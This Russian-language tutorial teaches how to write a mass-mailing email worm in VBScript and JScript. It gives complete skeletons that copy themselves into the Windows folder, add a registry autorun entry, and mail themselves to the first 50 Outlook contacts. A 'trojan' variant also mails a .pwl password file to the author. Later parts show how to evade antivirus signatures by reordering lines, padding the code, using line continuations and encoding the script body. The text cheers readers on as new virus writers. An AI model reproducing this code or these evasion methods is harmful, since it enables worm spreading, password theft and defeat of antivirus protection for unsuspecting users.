Как написать почтовый червь на VBScript

Часть 1.

На идею написания статьи меня натолкнула статья How to write an E-Mail-Worm in VBScript написанная DaSRo, я даже не стала изменять ее название. Просто постаралась сделать описание более подробным и разбить пример на составные части, на которых легче объяснить идею создания почтовый Internet – червей.

Начнем, как всегда с истории.

Самым знаменитым и нашумевшим стал I-Worm.LoveLetter (классификация Kaspersky Lab.), вызвавший массовое поражение компьютеров и сетей в начале мая 2000 года. Для своего запуска он использовал "дыру" в системе безопасности MS Windows, которая позволяла запускаться файлам с расширением .vbs, присоединенных к почтовому отправлению.

Позже эта "дыра" была заделана, но сама идея написания E-mail worm на Windows Scripting Host (WSH) пришлась по душе virmaker'ам, тем более что глубоких знаний в программировании не требовалось. Достаточно было знать основы программирования на Visual Basic или другом объектно-ориентированном языке.

Теперь немного о самом WSH.

Необходимость в создании нового командного языка возникла при переходе на платформу Win9x и NT, так как старые .bat файлы уже не могли обеспечить должной гибкости при автоматизации процессов настройки операционной среды. Был создан независимый от языка скрипт – хост, который позволял строить аналоги .bat файлов на VBScript, JScript и других скриптовых языках, например, Active Perl или Python.

Как ни хороши скриптовые языки, много с ними не сотворишь. Они неспособны, повлиять на что-либо за пределами родного скрипта. Эти языки не имеют прямых инструкций, позволяющих читать и записывать файлы на диске, выводить информацию в командную строку, изменять записи в реестре и так далее.

Чтобы справиться с такими задачами, нужно воспользоваться дополнительными COM – объектами. Ряд таких объектов входит в поставку WSH, а один из них, WScript, даже уже имеет созданный экземпляр, и им можно пользоваться непосредственно, без предварительного создания. Остальные создаются с помощью синтаксиса, соответствующего конкретному языку или функции WScript.CreateObject. Подробнее о WSH можно прочитать здесь.

Настало время перейти непосредственно к описанию программного кода. Для написания примеров будем использовать Visual Basic Scripting Edition, на котором написано подавляющие большинство Internet – червей. Начнем с инструкций Option Explicit и On Error Resume Next, первая необходима при отладке кода, она запрещает использование не объявленной ранее переменной, а вторая подавляет обработчик ошибок.

```
Option Explicit
Dim FileSysObject, File
Set FileSysObject = CreateObject ("Scripting.FileSystemObject")
Set File = FileSysObject.GetFile(WScript.ScriptFullName)
```

В данном примере используются переменные FileSysObject и File, и если при создании скрипта вы допустите ошибку, написав FileSysObiect, интерпретатор сообщит вам, что используется необъявленная, в операторе Dim, переменная. Такие ошибки находить очень трудно, так как они зачастую меняют всю логику работы программы. Перейдем к инструкции On Error Resume Next, эта инструкция означает, что любая возникшая ошибка будет обработана программным кодом позднее, а в нашем случае никогда. Это позволяет запретить выдачу системных сообщений об ошибках и замаскировать работу скрипта.

Теперь опишем третью и четвертую строки примера:

```
Set FileSysObject = CreateObject ("Scripting.FileSystemObject")
```

Присваиваем переменной FileSysObject ссылку на объект COM-компоненты WSH File System Object. С помощью метода GetFile присвоим переменной File ссылку на командную строку местоположения исполняемого файла.

Скопируем скрипт в c:\windows, для дальнейшего использования.

```
File.Copy ("c:\windows\I_am_virus.vbs")
```

Присвоим переменной WshShell ссылку на объект COM-компоненты WSH позволяющую менять настройки системы и запускать приложения.

```
Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")
```

Теперь мы смело можем управлять захваченным компьютером.

Сначала пропишем свой "страшный вирус" в реестр, для повторного запуска после перезагрузки, хотя для E-mail worm это и необязательно, как в прочем и процедура копирования.

```
WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows _
\CurrentVersion\RunServices\virus", "c:\windows\I_am_virus.vbs"
```

Следующий шаг за вашей фантазией, можно скопировать из Internet более сложный вирус, как делал I-Worm.LoveLetter, и запустить его, отослать вам файл с паролями, или просто и скучно перепортить кучу файлов.

И, наконец, мы переходим к "сердцу" каждого Internet – червя, процедуре рассылки.

Создаем ссылку на объект самого распространенного почтового клиента Outlook.

```
Dim OutlookObject, OutMail, Index
Set OutlookObject = CreateObject("Outlook.Application")
```

Зададим цикл, в ходе которого разошлем зараженные письма по первым 50 адресам, занесенным в адресную книгу.

```
For Index = 1 To 50
Создадим новое почтовое сообщение
Set OutMail = OutlookObject.CreateItem(0)
В поле "Кому" занесем адрес из адресной книги
OutMail.to =
OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)
В поле "Тема" вставим тему сообщения
OutMail.Subject = "Тема сообщения"
Добавим текст сообщения
OutMail.Body = "Тело сообщения"
Прикрепим скрипт
OutMail.Attachments.Add(WScript.ScriptFullName)
И отправим его
OutMail.Send
Next
```

Вот вы и стали писателями вирусов. Чувствуете подъем? Опуститесь на землю, это только каркас, заполнить его, ваша задача. Удачи!

Каркас E-mail worm:

```
On Error Resume Next
Dim FileSysObject, File
Set FileSysObject = CreateObject ("Scripting.FileSystemObject")
Set File = FileSysObject.GetFile(WScript.ScriptFullName)
Dim OutlookObject, OutMail, Index
Set OutlookObject = CreateObject("Outlook.Application")
For Index = 1 To 50
Set OutMail = OutlookObject.CreateItem(0)
OutMail.to =
 OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)
OutMail.Subject = "Тема сообщения"
OutMail.Body = "Тело сообщения"
OutMail.Attachments.Add(WScript.ScriptFullName)
OutMail.Send
```

```
Next
```

Каркас "троянского коня":

```
On Error Resume Next
Dim FileSysObject, File
Set FileSysObject = CreateObject ("Scripting.FileSystemObject")
Set File = FileSysObject.GetFile(WScript.ScriptFullName)
File.Copy ("c:\windows\I_am_virus.vbs")
Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ _
CurrentVersion\RunServices\virus", "c:\windows\I_am_virus.vbs"
Dim OutlookObject, OutMail, Index
Set OutlookObject = CreateObject("Outlook.Application")
For Index = 1 To 50
Set OutMail = OutlookObject.CreateItem(0)
OutMail.to =
 OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)
OutMail.Subject = "Тема сообщения"
OutMail.Body = "Тело сообщения"
OutMail.Attachments.Add(WScript.ScriptFullName)
OutMail.Send
Next
Set OutMail = OutlookObject.CreateItem(0)
OutMail.to = "Ваш E-mail"
OutMail.Subject = "Тема сообщения"
OutMail.Body = "Тело сообщения"
OutMail.Attachments.Add("Путь к .pwl файлу")
OutMail.Send
```

Часть 2. - Исследование новых возможностей

В ходе написания первой статья я столкнулась с проблемами при тестировании написанных скриптов, установленный AVP Script Checker на любую попытку сохранить файл с командами копирования файла с локальной машины, пересылки через электронную почту, попытки прочитать реестр, выдавал сообщение о наличии в этом файле новых модификаций различных вирусов. Создавалось впечатление, что AVP надежно стоит на страже наших интересов, и я решила проверить, действительно ли это так?

При изучении документации к Windows Scripting Host(WSH), я обратила внимание на абзац где было сказано, что корпорацией Microsoft был создан независимый от языка скрипт – хост, который позволял строить аналоги .bat файлов на VBScript, JScript и других скриптовых языках, например, Active Perl или Python. На их сайте про Active Perl или Python ничего сказано не было но про JScript было написано довольно подробно, сравнив возможности VBScript и JScript, стало понятно, что они идентичны и отличаются только синтаксисом языка.

Переписать скрипт с одного языка программирования в другой было делом техники, в результате получилось:

Каркас E-mail worm

```
var fileSysObject, file;
fileSysObject = new ActiveXObject("Scripting.FileSystemObject");
file = fileSysObject.GetFile(WScript.ScriptFullName);
var outlookObject, outMail, index;
outlookObject = new ActiveXObject("Outlook.Application");
for (index = 1; index < 50; index++){
outMail = outlookObject.CreateItem(0);
outMail.to =
 OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(index);
outMail.Subject = "Тема сообщения";
outMail.Body = "Тело сообщения";
OutMail.Attachments.Add(WScript.ScriptFullName);
outMail.Send;}
```

Каркас "троянского коня"

```
var fileSysObject, file;
fileSysObject = new ActiveXObject("Scripting.FileSystemObject");
file = fileSysObject.GetFile(WScript.ScriptFullName);
file.Copy("c:\windows\I_am_virus.vbs");
var wshShell;
wshShell = new ActiveXObject("WScript.Shell");
wshShell.RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ _
CurrentVersion\RunServices\virus", "c:\windows\I_am_virus.vbs");
var outlookObject, outMail, index;
outlookObject = new ActiveXObject("Outlook.Application");
for (index = 1; index < 50; index++){
outMail = outlookObject.CreateItem(0);
outMail.to =
 OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(index);
outMail.Subject = "Тема сообщения";
outMail.Body = "Тело сообщения";
OutMail.Attachments.Add(WScript.ScriptFullName);
outMail.Send;}
outMail = outlookObject.CreateItem(0);
outMail.to = "Ваш E-mail";
outMail.Subject = "Тема сообщения";
outMail.Body = "Тело сообщения";
outMail.Attachments.Add("Путь к .pwl файлу");
outMail.Send;
```

AVP молчал :)

Однако при выполнении скрипта Script Checker выдал сообщение, что этот файл возможно содержит вирус и заблокировал его выполнение. Покопавшись еще я выяснила, что он реагирует на попытку отослать файл по почте, так как и в VBScript, и в JScript строка OutMail.Attachments.Add(WScript.ScriptFullName) выглядит одинаково. Избавиться от этого удалось, закодировав скрипт программой MS Windows Script Encoder.

Скрипт был проверен на трех самых распространенных антивирусных программах Norton AntiVirus, AVP и Dr.Web. Первые две успешно промолчали, и только Dr.Web, отфильтровал его, как потенциально опасный, сработал знаменитый эвристический анализатор.

На основе сделанного анализа можно предположить, что нас ждет следующий виток эпидемий связанных с написанием вирусов на JScript.

Часть 3. - Как обмануть AVP Script Checker

Описанный метод обхода AVP Script checker довольно сложен, так как требует знаний разных языков программирования, однако можно придумать множество более простых методов.
Практически все программы защиты от вирусов работают по одному и тому же принципу, они сравнивают файлы с имеющимися в базе данных участками вирусов, так называемыми сигнатурами. По аналогичному алгоритму работает и AVP Script checker, который после предварительной компиляции просматривает файл, и ищет "знакомые места". Однако в отличие от компиляторов мощных программных продуктов cscript.exe проводит только предварительную компиляцию, без редактирования исходного кода, и поэтому, немного изменив исходный код ранее написанного вируса можно легко обойти защиту.

За основу возьмем каркас почтового червя на VBScript.

Начнем с самого простого метода, изменения порядка выполнения, добавления пробелов и пустых строк.

Заменяем

```
OutMail.to =
OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)
```

на OutMail.to = "Адресс E-mail", для безопасности, и сохраняем.

AVP "говорит": обнаружена новая модификация вируса I-Worm VBS.Fool.

Убираем строку Set File = FileSysObject.GetFile(WScript.ScriptFullName), он замолчал, значит, антивирус реагирует именно на присутствие этой строки. Меняем местами строки и получаем:

```
Dim FileSysObject, File
Set FileSysObject = CreateObject ("Scripting.FileSystemObject")
Dim OutlookObject, OutMail, Index
Set OutlookObject = CreateObject("Outlook.Application")
Set File = FileSysObject.GetFile(WScript.ScriptFullName)
```

AVP Script checker не реагирует.
Можно просто изменить проблемную строку следующим образом:

```
Set File = FileSysObject. _
GetFile(WScript. _
ScriptFullName)
```

Эффект тот же, надо только поэкспериментировать. В коде I-Worm VBS.HappyTime в начало файла добавлено 35 пустых строк и этого хватило, чтобы антивирус не распознал его.

Существуют и более сложные методы, например кодирование тела вируса. Ярким примером этого послужил I-Worm VBS.Homepage в котором основной код был закодирован следующим образом:

```
DeCode("Кодированное тело Homepage")
Function DeCode(Coded)
For I = 1 To Len(Coded)
CurChar= Mid(Coded, I, 1)
If Asc(CurChar) = 15 Then
CurChar= Chr(10)
ElseIf Asc(CurChar) = 16 Then
CurChar= Chr(13)
ElseIf Asc(CurChar) = 17 Then
CurChar= Chr(32)
ElseIf Asc(CurChar) = 18 Then
CurChar= Chr(9)
Else
CurChar = Chr(Asc(CurChar) - 2)
End If
DeCode = DeCode & CurChar
Next
End Function
```

В результате чего, довольно простенький скрипт заразил миллионы компьютеров по всему миру.

Следующим шагом будет написание на VBS полиморфика, скрипта способного видоизменять свой код по мере необходимости.

К недовольству "настоящих вирусописателей", считающих скриптовые технологии забавой для ламеров, количество вирусов использующих эту технологию неуклонно растет. Это связанно с простотой реализации и интегрированностью в операционную систему, с помощью скриптов можно полностью управлять системой, запускать и останавливать процессы, удаленно создавать и удалять пользователей, править файлы, и много чего еще...